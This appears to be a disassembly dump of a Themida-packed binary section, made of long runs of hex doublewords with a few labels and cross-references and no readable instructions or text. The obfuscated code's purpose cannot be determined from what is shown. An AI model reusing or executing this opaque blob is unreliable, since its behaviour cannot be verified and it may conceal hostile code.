dd 3346AD76h, 0D95675B1h, 22117D43h, 32565DB2h, 0F137475Ah
dd 52BADCE4h, 3256AB59h, 0D8D78FB1h, 345BB3C7h, 6449C73Ah
dd 77DDBCBCh, 0B150D4B9h, 3F00B133h, 0FB3753B7h, 5256AF73h
dd 3256D559h, 0D8D7B0B1h, 345B2C2Bh, 644D083Ah, 806D5BBCh
dd 345BF8AEh, 0CDD6CC5h, 8459743Ah, 75A0D4FEh, 36236AB0h
dd 30BDACB2h, 7115639Ah, 2C7BD83Ah, 0BFDDA8B6h, 345174FCh
dd 3B24738Ah, 37210C8Ah, 0D9522C32h, 46994E78h, 7FEB33B9h
dd 0D9505A92h, 5295CF06h, 32565759h, 0D8D7F1B1h, 345B8C43h
dd 644D503Ah, 32EF73BCh, 156BAB0h, 0B9FDAE71h, 3F00B533h
dd 2DD4DEB7h, 5350A6E7h, 32BEB572h, 6856EAB1h, 684A9F30h
dd 0B790BCBCh, 3451547Ch, 5F6FC6E7h, 87A983AEh, 3451A628h
dd 426E503Ch, 0E2A9ECBBh, 323E25E3h, 5856BA31h, 0F5E4A2B1h
dd 0CD50A3E4h, 5A0C0F61h, 32562BB1h, 80A9D5DBh, 345BBCAAh
dd 0F137A54Eh, 52BA31E4h, 32565D59h, 0D8D7F4B1h, 345B0DDBh
dd 0DA5EDE3Ah, 3256D729h, 0E5C415E4h, 6F5078E4h, 475ACF8Ah
dd 30D0B55Fh, 0FB37AEB1h, 67565F73h, 0F6D5473Ah, 6101834Dh
dd 3256EA59h, 0D8D72FB1h, 345BE02Fh, 0B95E283Ah, 6401BECCh
dd 32566059h, 4696A0B1h, 67AE5E90h, 6781784Eh, 90B73BCh
dd 2022B6C4h, 0B248D6D7h, 2CDC5E56h, 0DAA6B431h, 3256AD2Ch
dd 4FDF015Ah, 0CC0B024Dh, 6D0D8A4Eh, 0CE1331EFh, 325A9F78h
dd 0B1BA25E4h, 6401AF75h, 7791F8E0h, 3256D549h, 35D42DB1h
dd 335078E7h, 0B956BAB1h, 0B93055C4h, 0F5EC25AFh, 0B9505AE4h
dd 0E95DA3EEh, 0EC6DDAC5h, 6FDDECC4h, 3E09FCBDh, 0D9427D32h
dd 2CDD3B5Bh, 3DBE5531h, 32569935h, 0DBAD2BB1h, 329351BEh
dd 0C9D6EAB1h, 8ED27A5Ah, 0B256BAB1h, 0B659BF4Ah, 3256AE1Dh
dd 3DB5AC31h, 32563135h, 0C9D7B3B1h, 0B65909D6h, 32567529h
dd 54A65D31h, 0B259A630h, 32C72ABEh, 0D1D657B1h, 42AD2B41h
dd 32D351BEh, 0B930EAB1h, 0CAB5F5AFh, 46EE4131h, 3768DDF3h
dd 0CD693C5h, 0B26E239Ch, 122C38Fh, 6451574Eh, 0B930ECBCh
dd 0CAB1F5AFh, 0B3AD3BD7h, 54762959h, 0D5D6B03Ah, 0C9D73141h
dd 21226B30h, 0A0A980D1h, 345BBF66h, 0CE13FCECh, 0CE2B39D0h
dd 0B93528B0h, 3551A30Bh, 0B0DD07B7h, 345BFDB6h, 6A66E988h
dd 88DDBAC3h, 3451548Ch, 35D431E1h
dd 0B5050E7h, 4D0E9E8Dh, 0F546BC8Ch, 325453F4h, 35BDD5B1h
dd 33AEAF76h, 0B95675B1h, 3F037D0Bh, 3949D6B7h, 949DA6Ah
dd 0B959226Fh, 4FD5A7ECh, 3122D549h, 0BBAEB7B2h, 0F5D571EEh
dd 1B451A5h, 3296B471h, 0B930AEB1h, 3E2BDCAFh, 46BD5031h
dd 0C2B555BBh, 46261131h, 0F4649EA7h, 759153B6h, 32565DB0h
dd 0B19125B1h, 0A5BF5271h, 5456ABB1h, 3A59D276h, 0D1D6F43Bh
dd 0B29DF5BEh, 0F557E539h, 32565FF6h, 0F5DDAEB1h, 0D9509732h
dd 0CD7CDC8h, 3D224521h, 47C6D431h, 4CD713BFh, 46C62A4Eh
dd 0B952B6B3h, 0BF094576h, 3F007433h, 0CD00FBB7h, 3F030E23h
dd 4696E1B7h, 0BF9EFEBBh, 3F009903h, 6446B6B7h, 0CD03603Ah
dd 3F038023h, 0FC7DF6B7h, 0B1080C46h, 475712CCh, 981FC5A1h
dd 0B75902D7h, 8459F6D7h, 0D9FDAFF7h, 0CA2BD4AAh, 5445DEB3h
dd 549FDE09h, 3DEE8C1Ah, 3DFD1335h, 9957FC07h, 96A55F5Ah
dd 6B0D693Ah, 0F09F08EFh, 0B903ABB9h, 32BEB55Dh, 6856EAB1h
dd 6EAA9F30h, 77DDBCBCh, 0FDD4D4B9h, 5350A3E4h, 32529578h
dd 0B1BA20E4h, 0DA362D75h, 3256EAB1h, 2FBCF4EBh, 0F550B7ECh
dd 3256A5F4h, 7791AEB1h, 3256574Dh, 549698B1h, 0B091CB3Ah
dd 345BBCB6h, 325675B0h, 0A2AD3BD7h, 0B2562821h, 0B659464Ah
dd 325656B9h, 0DBAD2BF1h, 32A851BEh, 0B216EAB1h, 0B6599E4Ah
dd 3256BA45h, 0C2B1DDF1h, 3DAD2FD7h, 0D7D25831h, 3156ABB1h
dd 355D6033h, 0C9D6AAB7h, 0FCD27A53h, 0B256BAB1h, 0B659BE4Ah
dd 3256AE0Dh, 55ADD6D7h, 88D2A452h, 0B256D5B1h, 0C9D61A52h
dd 87D27AC1h, 5456BAB1h, 0D1D6433Ah, 8AAD2E49h, 0CD610C5h
dd 0B214DFB4h, 0F22F88Fh, 463ED431h, 0B0A93589h, 345BECB6h
dd 0B248D6D7h, 0B3305656h, 46BED64Ah, 2CDDCD95h, 54A63231h
dd 0F2D71130h, 673662C5h, 6781284Eh, 0BB0B5BBCh, 0B13752F4h
dd 3D57ABCCh, 32578334h, 3FEC5EB1h, 6250EDB6h, 6451F73Ah
dd 0E6FBCBCh, 0B0590581h, 3256AFA0h, 136BED3Ah, 0B906ADB6h
dd 3F00D233h, 26AD3B7h, 0C8D97AE9h, 0B956BAB1h, 3F03960Bh
dd 0F9D42DB7h, 26505AE4h, 75DF9C38h, 0B0DD85A1h, 345BBCB6h
dd 6A66693Ah, 0DB5EE538h, 32565D64h, 30AEEB76h, 0D95657B1h
dd 0CA136CB6h, 3256D5B0h, 679D503Ah, 0B0D573BCh, 345BEF7Ah
dd 0BB61D4A5h, 0CAD5BEF6h, 0F55A22B2h, 3F00AC33h, 3256D7B7h
dd 0B15301B1h, 6D2B7749h, 32AEC732h, 845946C5h, 0B2FFAFF7h
dd 475657B1h, 0DAD5EBB7h, 1F5E3EB4h, 3256EA4Eh, 0D9539D32h
dd 0A8DDE9BAh, 345B0BB6h, 6965AA3Ah, 32565718h, 3142DE31h
dd 37965677h, 645168B2h, 0BB1E73BCh, 75DFB2F6h, 0C500B6BDh
dd 0C5908569h, 3796D469h, 645129B2h, 0BB1ED3BCh, 75DFE2F6h
dd 1689EBDh, 33103071h, 1323DD19h, 0F2D568B2h, 3257ECB3h
dd 0E95DABB1h, 0A8DCDCC5h, 345A6BA0h, 31579631h, 3A113372h
dd 0D95A1A38h, 178E59A5h, 3256574Eh, 0EAA16D9Ah, 0BB541532h
dd 75DFE2F6h, 0FB378DBDh, 0DEDDEF72h, 52AA9932h, 3256AE59h
dd 0D8D70DB1h, 345BF49Fh, 67916F3Ah, 0FB65ECBCh, 3D564A32h
dd 32567835h, 0CD51D6B1h, 47A9A2C4h, 41BE07B9h, 4156ABB0h
dd 269156B4h, 77DF085Ah, 3E238A4Dh, 0CD5ECF4Eh, 330AB586h
dd 0B059AEB1h, 32565726h, 0BAAEE3Ah, 0BED4DAB6h, 0CD56EAB1h
dd 4DD589F4h, 3A22BAB5h, 325A2232h, 3CBDACC5h, 0CDA9A809h
dd 3253124Eh, 99A5D5B1h, 4DD5295Ah, 3D2270A1h, 3446C532h
dd 0B9174CC4h, 6DDDAAF6h, 0B915BCBDh, 6DDDAFF6h, 0B96F3EBDh
dd 6DDDEEF6h, 3A094EBDh, 0B904AFC4h, 677D59E6h, 2603ADA1h
dd 195A083Ah, 37BD286Bh, 0B9443EEBh, 6DDDEEF6h, 36095EBDh
dd 31535132h, 3555AC3Bh, 22292DB7h, 735722B2h, 6EDF729Ah
dd 0CDEED4B0h, 8BA9154Eh, 325675B4h, 64BF1142h, 53A9A24Eh
dd 32466C78h, 0B1BADCE4h, 0DA365775h, 3256D5B1h, 2BBC6BEBh
dd 0B95078D1h, 3F037D0Bh, 0B19F6EB7h, 0B659AE8Eh, 32565720h
dd 47A9AC3Ah, 3A232ABDh, 32DE02E1h, 372575B1h, 0D9427D32h
dd 0CE13D453h, 0CD5ADB4Eh, 5A95FC4h, 3256DA59h, 0B93CA7B1h
dd 356F16F4h, 77A916C3h, 3629394Dh, 0B15E29B1h, 4656A2CEh
dd 8A58BCB3h, 0CDA9544Eh, 3256D008h, 0D9FD19B1h, 2229F67Ah
dd 0B159CEB4h, 47504DCEh, 75DDEFA0h, 3E09DCB5h, 75DDB65Ah
dd 3E095EB5h, 75DDF95Ah, 3E09FEB5h, 0B152E59Ah, 4DD5585Ah
dd 3323ADA1h, 0BB8F7CF0h, 8A57AAEDh, 0CDA92A4Eh, 3256EF08h
dd 0D9FD86B1h, 0F09FDB36h, 0B9035DB9h, 77DDCE5Dh, 3E136CB9h
dd 776DA3C3h, 0CA55A2A1h, 0D9AFE95Ah, 0F09F14B1h, 0B903BABDh
dd 0CE92DE5Dh, 325646D1h, 0B30C57B1h, 3F36445Bh, 19FE6B7h
dd 0CE0B636Ah, 6791CF3Ah, 0DD5BCBCh, 0B13229B1h, 3723518Eh
dd 0D9429032h, 36292840h, 0B15EA1B1h, 4656E6CEh, 0CD5E9EB3h
dd 0F5D546F4h, 0B18DB6A5h, 4653BECEh, 2229D4BEh, 7347DEB7h
dd 0B952923Ah, 2FBDE6EEh, 0B952323Ah, 21BDB6EEh, 0B9521A3Ah
dd 6D7DA2EEh, 37BDD4B5h, 3146D432h, 1917D4C4h, 330A6368h
dd 0CDA9CDB0h, 37EF454Eh, 0C1565DB1h, 53C1451Ah, 0FBAA123Ah
dd 6107FB72h, 3256D559h, 0D8D7B0B1h, 345B14CBh, 6789203Ch
dd 56EE5BBCh, 0DA56AEB1h, 32565763h, 0F36DA03Ah, 7955C15Ah
dd 4097D1B5h, 221D76A6h, 30247B8Ah, 26BD5F5Ah, 0A8DBBC5Ah
dd 345B8FDAh, 3ABD784Eh, 0E9C74F3Ch, 0E1A9ECBCh, 0F10E2CEAh
dd 0DABA31E4h, 32565DB1h, 0FBBC2FEBh, 52505AD0h, 6789113Ch
dd 77DDD3BCh, 0B95163B9h, 75DF79F4h, 221331B5h, 0B95A1A38h
dd 75DFBAF4h, 0F09F36A1h, 0F436ABA1h, 355F1834h, 283EADB7h
dd 0CDFE62C2h, 355B2304h, 0AD3D0B7h, 0CD50A4C1h, 0B8DB0561h
dd 345BFDBAh, 68862AE0h, 645D683Ch, 855973BCh, 0EADDB6F1h
dd 686752E3h, 0B0DF6DB2h, 34517774h, 5251C3D0h, 0E8h, 0EA815A00h
dd 60D623Ah, 0C5828B52h, 0B9060720h, 41C64E6Dh, 55AE1F7h
dd 3039h, 0FFFFFF25h, 0C582897Fh, 5A060720h
aYQrs db 'YцQRХ',0 ; DATA XREF: Themida_:0053DFF8o
align 4
dd 0EA815A00h, 60D626Ah, 0BBE8C88Bh, 33FFFFFFh, 8BF1F7D2h
dd 0C3595AC2h, 0C08BC08Bh, 587B858Dh, 0D0FF060Dh, 8DC18B66h
dd 0D623385h, 59858906h, 8D060730h, 0D626385h, 39858906h
dd 0B8060718h, 0
dd 840FC00Bh, 47h, 9CD85C6h, 68560607h, 0A9C530DFh, 0D99B5FFh
dd 858D0607h, 60A7038h, 8D50D0FFh, 71A018Dh, 46A5106h
dd 100068h, 19B5FF00h, 0FF060723h, 19BD8BD0h, 3060723h
dd 0C7813C7Fh, 0F8h, 202447C7h, 8D600000h, 70C899Dh, 0B038B06h
dd 5840FC0h, 8B000000h, 4438900h, 234CF6B9h, 0D08D8D00h
dd 89060D63h, 71F7585h, 0D98D8906h, 8906071Ah, 70FCD85h
dd 1D85C706h, 5C060710h, 8B00005Ch, 7221185h, 5AFC5606h
dd 330585C7h, 607h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 66D2A3C3h, 7554CE81h
dd 7C5B5FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 225B93C3h, 0A2E0FA2Eh, 461BD8Bh
dd 95FF0607h, 6071859h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 59C35242h, 0E10A15D0h, 0BD31C38Bh, 60711FDh
dd 95FF006Ah, 6070D69h, 2AEBC08Bh, 0E8080B9Ah, 7DAE8E35h
dd 5FAB9520h, 0D2B7C6C3h, 8C44B0EEh, 108220D4h, 0B19CF96Ah
dd 2CA4533Ah, 106F1199h, 6EB63291h, 8D8D3C5Eh, 60D648Bh
dd 0EC098FBAh, 0D98D8979h, 6A06071Ah, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 6C2EC355h
dd 0E22247D3h, 0B4D78BE5h, 1D85C79Fh, 0A4060710h, 6A00005Bh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 69FFC355h, 360F2AE7h, 85C76952h, 6073305h
dd 0
dd 2645BD89h, 0B5FF0607h, 60705D1h, 0E9DBE7BFh, 5995FF36h
dd 6A060718h, 6995FF00h, 8B06070Dh, 0D86CEBC0h, 523D5B14h
dd 67E247Eh, 64E3224Eh, 99957EA5h, 64315148h, 5B23C443h
dd 0BAB11C52h, 4E2FFE81h, 5EACB2E9h, 12140152h, 28957727h
dd 86A82B8Eh, 0EDD001F6h, 9D7628EDh, 0DD2346A4h, 19F9E168h
dd 0A0B5B86Ah, 4FB926EFh, 0FCDF20E7h, 0DC06AC1Ah, 89833F7Fh
dd 8B6269B0h, 0FADC1301h, 35B0E566h, 0CA5FDCE6h, 0E7CE8469h
dd 0E8F4F7F9h, 5, 0F69365F2h, 235AFCF4h, 70A018Dh, 0DBC28106h
dd 66000064h, 0BB6D58B8h, 190Ch, 5658D01h, 32FF0607h, 1B09BD8Bh
dd 8B5E0607h, 0D2EE81FEh, 603DCFDAh, 8161F58Ah, 79CBA4C6h
dd 0ED85334Ch, 81060719h, 0FDE84DF6h, 6EC88153h, 89632E62h
dd 119D2932h, 81060722h, 0BE6E57EAh, 8130B058h, 0BE6E53C2h
dd 0CE958h, 2310000h, 934B8C69h, 4526539Ch, 0EB81E972h
dd 1, 13850Fh, 0BD890000h, 60714A9h, 22E9h, 2899B500h
dd 0EBAED462h, 0E1850347h, 0E906072Ah, 0FFFFFF82h, 296DD7FCh
dd 0BD6AECEDh, 7793D43Dh, 0EBB70F91h, 0E9DA1708h, 6Eh
dd 0B3EE900h, 77680000h, 0E9060D67h, 0FFFADBE0h, 0D68BD68h
dd 0DBD6E906h, 8D68FFFAh, 0E9060D6Ah, 0FFFADBCCh, 0D6B7568h
dd 0DBC2E906h, 0C868FFFAh, 0E9060D6Ch, 0FFFADBB8h, 0D6E6868h
dd 0DBAEE906h, 6768FFFAh, 0E9060D6Fh, 0FFFADBA4h, 0A7794841h
dd 4416E9E0h, 0E2B4857Dh, 7A4C291Bh, 16E8BDB3h, 998F0344h
dd 382BF2C4h, 0D0C48B5Dh, 695E25F7h, 6AA7C092h, 24673380h
dd 0D6F33480h, 0F56055F8h, 244FBE0Bh, 0D8D6B780h, 1F3F467h
dd 3302D924h, 5146FA10h, 655A2F7Ah, 1A11BC8Eh, 8553FFCh
dd 18631CDh, 0CCC91620h, 0E9CA8631h, 98903D1Ah, 856FA4C7h
dd 8C38E801h, 0CDA49978h, 50A1B3FEh, 25802AB2h, 6A4364BCh
dd 4DF16A49h, 8AD5AAA0h, 51F090B3h, 28000000h, 428F7936h
dd 438631CDh, 35363F62h, 0E895522Fh, 0FAD11CF3h, 0DE5975D7h
dd 4F308C38h, 0F411F04h, 29226A1Bh, 3F160BD8h, 98FA1DF4h
dd 802A4147h, 3A53B31Ch, 0F169DB61h, 10896644h, 976CE9ECh
dd 0EED474h, 0FED0000h, 3B76DD0Fh, 90A6C9DDh, 2F7A5146h
dd 448F645Ah, 0C6A37A6Fh, 14C2519h, 0CCE5321Ch, 0FDDE8631h
dd 83680B2Eh, 0EA0DDED6h, 27F9D0C5h, 31D1A023h, 0C69D9286h
dd 0D23F1DF4h, 0E9A25530h, 0F3E80D30h, 0C8613F1Ch, 0DC4F236Ch
dd 5E17BADDh, 0BD7A57CDh, 3C8AB9DFh, 1437B3A9h, 3891DEB2h
dd 0F9D6B78Ch, 7D57221Bh, 0E5086F5Ah, 91B10BBh, 0E4B1422Ch
dd 0EE9B8633h, 1D823F8h, 0EBE1C0DEh, 2E241816h, 3DE8AF83h
dd 0EEE4916Eh, 0C3704719h, 0AED3F6CFh, 0F52CE3B8h, 0F9DFD9Ch
dd 8E13882h, 0D6CF0000h, 776E3507h, 130BD2A4h, 0B7A97042h
dd 4B4108DAh, 91D2A476h, 8052271Dh, 19EBC6B9h, 0B3855E52h
dd 4E20F7ECh, 0C10EF835h, 0C2802465h, 89368381h, 0EFCCBE95h
dd 0E2D8FD20h, 8973300Dh, 8631CD3Ch, 0A3694236h, 0AE759FC2h
dd 5810E2B9h, 12CC962h, 0F35780E7h, 693E3401h, 9B78471Eh
dd 0A2A7F4DEh, 0C1A08631h, 528F7CAh, 0B3CAE6D0h, 0EACB8C38h
dd 22DCBA9Fh, 2FDF7D78h, 9BEC4E71h, 708029D7h, 0B58EBF07h
dd 2DF16972h, 0F6h, 529F8946h, 538029E3h, 46394F72h, 0E09D7A51h
dd 31CCA9F6h, 0A6C9AA86h, 55382E03h, 31CD1E6Bh, 59361786h
dd 31CD226Fh, 73422386h, 9C864328h, 8631CD4Fh, 0CCFA4731h
dd 1AFB8631h, 0EE507354h, 8631D16Bh, 4719F0E5h, 0D7B48B80h
dd 115C372Ah, 2570473Ch, 0B95C7F4Eh, 1CF96B00h, 0E8BBB25Fh
dd 0E88F63C5h, 17068C38h, 2AB1E02Dh, 2BF8D980h, 0BD8F5E37h
dd 2E0B1912h, 0B23A8771h, 5A3B802Ah, 74BF9A8Dh, 5B457A9Dh
dd 86345CB9h, 0F5A27F60h, 0D1062900h, 9E6F6714h, 0B2897E53h
dd 0A59BC0E3h, 4137FED0h, 0A2BE3F3Dh, 0B78647D4h, 0FDED2B00h
dd 1660ED9Dh, 79Bh, 0EFC19089h, 8C5E3128h, 2AFCCDC5h, 0C2947163h
dd 5E3005FBh, 0E1D74B8Ch, 80733A0Ch, 180CD3A5h, 0B1A66D3Fh
dd 0B2EF08DAh, 24647BC8h, 3D3B7C80h, 9E7B5046h, 326FBF1h
dd 461D12D9h, 5146BC74h, 0F9F09D7Ah, 0F06DB26h, 4B1AF13Ch
dd 8CAF8C7Eh, 22604E9h, 541818Ah, 9A8FB4D7h, 2BFACFC5h
dd 0A7BDAE59h, 0C894E0CAh, 0B4958C38h, 0E3301AD7h, 0E4802AC0h
dd 583DE003h, 0C064B19Bh, 912D802Ah, 37BBF0F9h, 83A6874Dh
dd 0C092695Eh, 0E22D04F9h, 7022A0D0h, 0A2020307h, 963D0EECh
dd 0B2FDD4C9h, 0ECA6DDDBh, 0FFF4193Ch, 1560332Ah, 0B4926F3Eh
dd 0CAD1E74Eh, 335D800Eh, 55A0776Ch, 0F7CEC370h, 1EE3301Ah
dd 3E404F0h, 1F2E7EE0h, 342804F0h, 473B105Bh, 0BC2D236Eh
dd 79A2B464h, 0A77E7329h, 42190ED5h, 1E91E5F7h, 37EE04F0h
dd 7C43907Ah, 63440773h, 4313C065h, 6588B8D6h, 8B48065Eh
dd 73C054A1h, 51745507h, 8360372Ch, 0BC07E4D6h, 0D198C2E5h
dd 1BA05DCh, 331DFA6Ah, 0D7ADA1Fh, 7B3815F6h, 78B84491h
dd 4164450Dh, 65FF6C17h, 0B67BAA88h, 26C5802h, 2CC0AADFh
dd 0ED137F4Dh, 5FAFC10Ch, 3207734Ch, 775079C9h, 0EF78B2E3h
dd 352h, 8E006027h, 2218EBE1h, 5C337E4Dh, 293B3039h, 0D6DE624Ch
dd 47578C38h, 0C7350BD2h, 0CDAA79CDh, 2E512E20h, 0B067788Ch
dd 6EFD0138h, 9F5C19F6h, 288F68B5h, 0A38061FFh, 288F6CB9h
dd 698C6DFFh, 2F9D4F07h, 685F3E05h, 0A4734A95h, 998BA059h
dd 0EB38DEBCh, 6E25E0BBh, 132C164Bh, 40B2D96h, 0A4994623h
dd 7724FBCDh, 8A61AC81h, 764D4267h, 0F44F76BFh, 0DF29B624h
dd 5CBh, 1FF1C0B9h, 0BC8E6158h, 5A2CFDF5h, 0F2C4A193h
dd 8E60352Bh, 11077BBCh, 0B0A36A3Ch, 483C03D5h, 0E1D69D6Fh
dd 0E21F380Ah, 2462ABF8h, 6D6BAC80h, 7E5BC962h, 38D14894h
dd 1560418Ch, 29744B40h, 2BCD15E4h, 5D472400h, 8631CD11h
dd 0A41613F1h, 114F8779h, 1DEFD0EEh, 3F8A6156h, 0C19E756Ah
dd 24472014h, 0E63E6781h, 8F6C4338h, 1C06EFE2h, 86314ECFh
dd 0F518E7C8h, 0E9B891CBh, 5330F770h, 68000002h, 7E5BC962h
dd 3F32F994h, 0D3CA778Ch, 0DEBFDD00h, 9D874401h, 80246850h
dd 2FCFAC11h, 36FC444Ah, 170D3255h, 0A8775044h, 44190FD6h
dd 5C3614F9h, 102EB72Eh, 0EF93E0CAh, 0B3948023h, 0D01D07E4h
dd 0C98023EFh, 1163C5E8h, 818023F0h, 0ECC3B78Ch, 0FBD21DFAh
dd 3B0AE12Ch, 0E19ABB84h, 0AEF88597h, 4E3h, 3709D8D1h
dd 0D4A67970h, 7244150Dh, 0ADCB9ABh, 0A6784D43h, 291F93D4h
dd 0C8BB8254h, 60541BEDh, 0F9EEB587h, 0FA375022h, 2461C310h
dd 8583C480h, 0BCAF5836h, 0F72F452Ah, 0C4A0CBD4h, 836D2AE7h
dd 86313F36h, 0C92B4E2Fh, 8C3EA42Eh, 0EABF0AEBh, 854C1EF5h
dd 996EB990h, 6882CDA4h, 4439E73Fh, 88619B6Dh, 0F1637Ch
dd 182h, 7A514638h, 0E902E09Dh, 7FA24478h, 77F5424Ch, 0EDD78631h
dd 863177A0h, 13F2B899h, 25FC471Eh, 0BB903356h, 25FCF1C6h
dd 0CFAD8456h, 44C57F42h, 0C2CBEEB3h, 0DEBBA9h, 0D585F522h
dd 33688BFDh, 38C8C549h, 0DDD5B48Ch, 0DF23D0Ch, 0C8196650h
dd 391A802Ah, 0C763B416h, 0CF38802Ah, 5E7D5677h, 0B360F16Ah
dd 0C0E7E5C0h, 0E14147FDh, 2730D0F3h, 68000000h, 392CC962h
dd 0F10698DAh, 0FAE4C190h, 8C38C9DEh, 798BD6B7h, 802AC828h
dd 1B4C94FDh, 0F16A6342h, 9FBAh, 5146F200h, 645A2F7Ah
dd 7A6F448Fh, 50E8C6A3h, 2330B785h, 4B20C3E6h, 0A9AD7F56h
dd 86312F26h, 6E40170Ch, 0DFBCA8C3h, 3AD1D1F5h, 1004B18Ch
dd 0F215EC37h, 5916F3D4h, 0BDE0B7ACh, 0FBCDA298h, 0B2693E34h
dd 0A3F88597h, 90E630BDh, 7E000003h, 1DE4B685h, 0BA815326h
dd 581FF1C2h, 0F0B78966h, 815325FAh, 1D6CC40h, 9A75682Fh
dd 340D01C8h, 0CFA69B62h, 0BDA7E4FDh, 80246070h, 362A2869h
dd 0CD428F79h, 453C8631h, 8A502772h, 6B6186A9h, 9FDBB996h
dd 5204FE05h, 7A416B8Eh, 24DCAE85h, 2F7A5146h, 0BC8E655Ah
dd 2D0A1A11h, 38E62F43h, 69D6E68Ch, 6C2EECBBh, 3614F1C0h
dd 0A9B3E630h, 0A2A6243Bh, 28A89209h, 81933659h, 802A9032h
dd 0D06ABAE3h, 2ECC95Bh, 8631A8EEh, 2CE9C6A7h, 31A8F542h
dd 0EA0DEE86h, 514608C0h, 1897B54Bh, 8FE19A86h, 0CE1B19FFh
dd 66B18014h, 0A0969C91h, 75AE03BFh, 0A5807340h, 0E2B4835Ah
dd 53303437h, 3847E569h, 9673548Ch, 4C4BCDB8h, 6B8E4EE0h
dd 0E65B6C8h, 0D13A802Ah, 0A57F5871h, 8462F169h, 0ACEBDF84h
dd 7F1F42B4h, 2Eh, 5BC962B7h, 0C0DBA07Eh, 0E3EB335Eh, 0F4CB16EFh
dd 0E3CD0225h, 8C380BC7h, 8092DDBEh, 802A0A2Fh, 224B9B04h
dd 0F169A549h, 0CEC1h, 5146F900h, 0A9A5264Bh, 0A6735DC5h
dd 0B58CD7B4h, 0D0C69BE6h, 0E6DBB0FBh, 0F7421F11h, 31065120h
dd 9A73673Ch, 0D7A9784Fh, 314250D3h, 764D4286h, 11E8DDA4h
dd 61E0DC6h, 716F3F29h, 5E6E8C38h, 0EB16628Fh, 0EDCA99B2h
dd 50734C40h, 0ACA24F26h, 3C170AD7h, 91B1019h, 9916F2Ch
dd 8D4890D4h, 4F79DBFEh, 4A86340Bh, 0C4D6693Ah, 0AF7E27F0h
dd 5C2F25D2h, 0EDBF8E69h, 0A45B3026h, 9DFE2DAFh, 0F0E22CB9h
dd 0DE000001h, 7D4416E5h, 1AE1B386h, 0B87F5122h, 5017E9C6h
dd 0E1B3855Ah, 61362CA0h, 0FAD5C88Fh, 946D6128h, 2F06FBC2h
dd 1D07445Dh, 80245ED0h, 468A88C9h, 0F19E7B50h, 5D2E26FDh
dd 496C3B12h, 8C63581Fh, 4236E3BAh, 62304669h, 0D17E5BC9h
dd 0E5BC07DAh, 5A78DBE7h, 23461294h, 0E3E804EEh, 0CD8A8C37h
dd 29E196E3h, 8BAE8F80h, 2F418C6Dh, 8029E1DEh, 0D1FA4AB3h
dd 0F1697CF8h, 0BA70h, 0EADC8900h, 0C8EBC20Dh, 7A5146B2h
dd 8F645A2Fh, 0D1AF3244h, 0B3918631h, 30F3EF6Ch, 96BBDE8Dh
dd 31F8CAA1h, 611A653Ch, 937D5ACAh, 8C3894C3h, 0DB86B2C2h
dd 0CF2D2105h, 83762300h, 0DC63B09Ah, 83648029h, 0BC6791B4h
dd 2BD8B5AFh, 3A115C39h, 6FF8E217h, 0E0863387h, 0FD4A34F1h
dd 0F6862372h, 72BE0B15h, 0D6B78623h, 0C06D2A07h, 0AFD4F7C8h
dd 4B12E4B9h, 94C98055h, 0E89DFDD2h, 0F1115Bh, 0E6DF0000h
dd 877E4517h, 231BE2B4h, 0C7B98052h, 5B5118EAh, 0A1E2B486h
dd 9062372Dh, 29FBD6C9h, 0C3956E62h, 5E3007FCh, 0D11E0845h
dd 0D280245Dh, 50469391h, 0EDE2A97Bh, 368C4416h, 0CD428F79h
dd 62438631h, 4E251A3Fh, 62392E03h, 1A0CB990h, 0F81BF23Dh
dd 0BE87CEFh, 3F328221h, 539E7F8Ch, 0F3CEC16Eh, 0DFB6ABD0h
dd 9289360Dh, 0A58F74BFh, 80246758h, 7EA17051h, 0C27F6459h
dd 24678BD8h, 0A1AB8C80h, 80246754h, 5AA57455h, 0FCD3C875h
dd 55B7DAB1h, 0E9091359h, 135E3329h, 25704B3Eh, 0AC6CB43Dh
dd 813F8788h, 1CE3B58Ch, 20055027h, 0FF2C7963h, 4C2D1747h
dd 37120429h, 471E6944h, 62582D78h, 735D428Dh, 1747FF26h
dd 7A713E1Fh, 48175CA7h, 340340F8h, 64392EECh, 734A9572h
dd 4EFBD2A4h, 375C7F5Ch, 0D6206B42h, 3, 466767FEh, 5E337E4Dh
dd 72479269h, 855AA57Eh, 976CB792h, 0AC81CCA1h, 0C196E1B6h
dd 0D2A7F2CFh, 0E9BE09DAh, 88D41FF2h, 4EC81h, 0C890000h
dd 81E18924h, 4C1h, 4E98300h, 5C240C87h, 598F68h, 24048900h
dd 12B668h, 24348900h, 0A6685653h, 5E097B23h, 0BDA1EE81h
dd 0F389036Dh, 5BD8895Eh, 2F268h, 24248900h, 4240481h
dd 5E000000h, 89C38953h, 1C8B085Eh, 4C48324h, 5724348Bh
dd 0C781E789h, 4, 8704C783h, 0FF5C243Ch, 81582434h, 4C4h
dd 0D0B2E900h, 154FFFFAh, 5B4B546Fh, 0D707DB8h, 0FFC50306h
dd 1D1D0AE0h, 0D7776034h, 0F29AC305h, 0CB73D11Ch, 9DA8A452h
dd 325FFA26h, 15799E0Bh, 905C0F63h, 7A5C5A0Ah, 11535414h
dd 0F01B47Bh, 8AB06526h, 7F2D654Fh, 2184CC17h, 34B3AE17h
db 2Ah
byte_5A3901 db 0E8h, 0Fh, 0 ; DATA XREF: Themida_:00550694o
dd 0E85D0000h, 6D794C30h, 0E26EF24Bh, 0C9CB43B9h, 11E8C0h
dd 33C90000h, 0CFFE2130h, 54957B00h, 288ABDB9h, 0F6A1CFDh
dd 5F59D7BFh, 81A6C680h, 7155C7h, 33C58A00h, 0DAE7B8DBh
dd 34FF6040h, 7E93Bh, 91370000h, 839D4F4Fh, 0C6815E27h
dd 3662F5A3h, 0EB55657h, 0F6815A5Ah, 0E2ED89Ah, 11E9h
dd 4D2C500h, 0B761E00Fh, 3E5B3F87h, 89B2B49Bh, 0EE81DBC1h
dd 6338DF18h, 46D68053h, 1F34895Ah, 0FD38B66h, 0EB83C7B7h
dd 6CF18104h, 814FA300h, 0FF8F60FBh, 9F850FFFh, 0FFFFFFFh
dd 168Ch, 0EE800h, 6E980000h, 47977508h, 10480276h, 0A0068810h
dd 0EB596160h, 8, 3F56E700h, 53DE920h, 16680000h, 0E9060D73h
dd 0FFFA0B6Bh, 0D739968h, 0B61E906h, 6D68FFFAh, 0E9060D75h
